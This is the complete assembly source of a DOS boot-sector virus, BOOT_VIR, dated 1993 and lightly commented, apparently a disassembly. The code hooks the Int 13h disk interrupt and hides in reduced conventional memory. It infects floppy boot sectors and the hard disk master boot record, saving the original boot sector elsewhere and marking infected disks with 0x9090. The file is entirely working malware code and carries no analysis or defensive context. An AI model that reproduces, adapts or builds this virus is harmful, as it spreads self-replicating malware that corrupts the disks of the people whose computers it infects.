;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ					                                 ÛÛ
;ÛÛ				BOOT_VIR                                 ÛÛ
;ÛÛ					                                 ÛÛ
;ÛÛ      Created:   9-Jul-93		Comments by  Mike M.             ÛÛ
;ÛÛ					                                 ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

Int60_Offset	equ	180h
Int60_Segment	equ	182h
main_ram_size_	equ	413h
d_0000_07B4_e	equ	7B4h			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	0

boot_vir	proc	far

start:
		nop
		nop
		nop
		cli
		xor	ax,ax
		mov	ds,ax
		mov	ss,ax
		mov	sp,7C00h
		mov	si,sp
		sti
		mov	ax,ds:main_ram_size_
		dec	ax
		mov	ds:main_ram_size_,ax
		mov	cl,6
		shl	ax,cl
		push	ax
		mov	es,ax
		mov	cx,200h
		xor	di,di
		rep	movsb
		mov	ax,2Eh
		push	ax
		retf

SectorNum	db	2                  ; Location
Cylinder	db	27h                ; of original
Drive		db	0                  ; boot sector
Side		db	0                  ; on infected disk

boot_vir	endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

main		proc	near
		mov	ax,word ptr ds:[4Ch]
		mov	word ptr ds:[180h],ax
		mov	ax,word ptr ds:[4Eh]
		mov	word ptr ds:[182h],ax
		cli
		mov	ax,78h
		mov	word ptr ds:[4Ch],ax
		mov	word ptr ds:[4Eh],es
		mov	word ptr ds:[188h],ax
		mov	word ptr ds:[18Ah],es
		mov	byte ptr ds:[187h],0EAh
		sti
		push	ds
		push	cs
		pop	ds
		mov	cx,word ptr SectorNum
		mov	dx,word ptr Drive
		cmp	Drive,0
		jne	loc_006D
		push	dx
		push	cx
		xor	bx,bx
		call	sub_019F
		pop	cx
		pop	dx
loc_006D:
		mov	ax,201h
		pop	es
		mov	bx,sp
		push	es
		push	bx
		int	60h			; original Int 13h
		retf
main		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

In13_Handler	proc	near
		cmp	ah,2
		jne	loc_00B9
		cmp	dl,80h
		jae	loc_008A
		cmp	ch,1
		ja	loc_008A
		call	sub_00CF
loc_008A:
		cmp	cx,1
		jne	loc_00CA
		cmp	dh,0
		jne	loc_00CA
		int	60h			; original Int 13h
		jnc	loc_009B

loc_ret_0098:
		retf	2
loc_009B:
		cmp	word ptr es:[bx],9090h
		jne	loc_ret_0098
		push	dx
		push	cx
		push	ax
		pushf
		mov	ax,201h
		mov	cx,es:[bx+2Ah]
		mov	dx,es:[bx+2Ch]
		int	60h			; original Int 13h
		popf
		pop	ax
		pop	cx
		pop	dx
		jmp	short loc_ret_0098
loc_00B9:
		cmp	ah,3
		jne	loc_00CA
		cmp	al,2
		jb	loc_00CA
		cmp	dl,80h
		jae	loc_00CA
		call	sub_0140
loc_00CA:
		int	60h			; original Int 13h
		retf	2
In13_Handler	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_00CF	proc	near
		push	es
		push	ax
		push	bx
		push	cx
		push	dx
		mov	al,1
		mov	cx,1
		mov	dh,0
		int	60h			; original Int 13h
		jc	loc_011D
		cmp	word ptr es:[bx],9090h
		je	loc_011D
		mov	ax,es:[bx+13h]
		push	dx
		xor	dx,dx
		div	word ptr es:[bx+18h]
		shr	ax,1
		dec	al
		pop	dx
		mov	dh,0
		mov	cl,2
		mov	ch,al
		mov	ax,301h
		int	60h			; original Int 13h
		jc	loc_011D
		mov	cs:Cylinder,ch
		mov	word ptr cs:Drive,0
		xor	bx,bx
		push	cs
		pop	es
		mov	ax,301h
		mov	cx,1
		mov	dh,0
		int	60h			; original Int 13h
loc_011D:
		call	sub_0126
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		pop	es
		retn
sub_00CF	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_0126	proc	near
		push	ds
		xor	bx,bx
		mov	ds,bx
		mov	bx,d_0000_07B4_e
		cmp	word ptr [bx],78h
		jne	loc_013E
		cli
		mov	word ptr [bx],1187h
		mov	word ptr [bx+2],0FF00h
		sti
loc_013E:
		pop	ds
		retn
sub_0126	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_0140	proc	near
		cmp	byte ptr es:[bx],0E9h
		jne	loc_ret_016B
		cmp	word ptr es:[bx+1],5000h
		jb	loc_ret_016B
		push	ds
		push	si
		push	di
		push	cx
		mov	di,bx
		push	cs
		pop	ds
		xor	si,si
		mov	cx,200h
		rep	movsb
		mov	byte ptr es:[bx],0E9h
		mov	word ptr es:[bx+1],169h
		pop	cx
		pop	di
		pop	si
		pop	ds

loc_ret_016B:
		retn
sub_0140	endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                              SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_016C	proc	near
		call	sub_016F

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_016F:
		pop	bx
		push	cs
		pop	es
		sub	bx,16Fh
		mov	byte ptr cs:[bx],90h
		mov	word ptr cs:[bx+1],9090h
		xor	ax,ax
		mov	ds,ax
		cmp	word ptr ds:d_0000_07B4_e,1187h
		je	loc_019B
		les	di,dword ptr ds:d_0000_07B4_e
		mov	ds:Int60_Offset,di
		mov	ds:Int60_Segment,es
		call	sub_019F
loc_019B:
		mov	ah,4Ch
		int	21h

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_019F:
		mov	ax,201h
		push	bx
		push	ax
		mov	cx,1
		mov	dx,80h
		add	bx,200h
		int	60h			; original Int 13h
		pop	ax
		jc	loc_01D4
		cmp	word ptr es:[bx],9090h
		je	loc_01D4
		inc	ah
		push	ax
		inc	cl
		int	60h			; original Int 13h
		pop	ax
		jc	loc_01D4
		pop	bx
		mov	byte ptr es:[bx+2Ch],80h
		mov	byte ptr es:[bx+2Bh],0
		dec	cl
		int	60h			; original Int 13h
		retn
loc_01D4:
		pop	bx
		retn
sub_016C	endp

		db	40 dup (90h)
		db	 55h,0AAh

seg_a		ends



		end	start
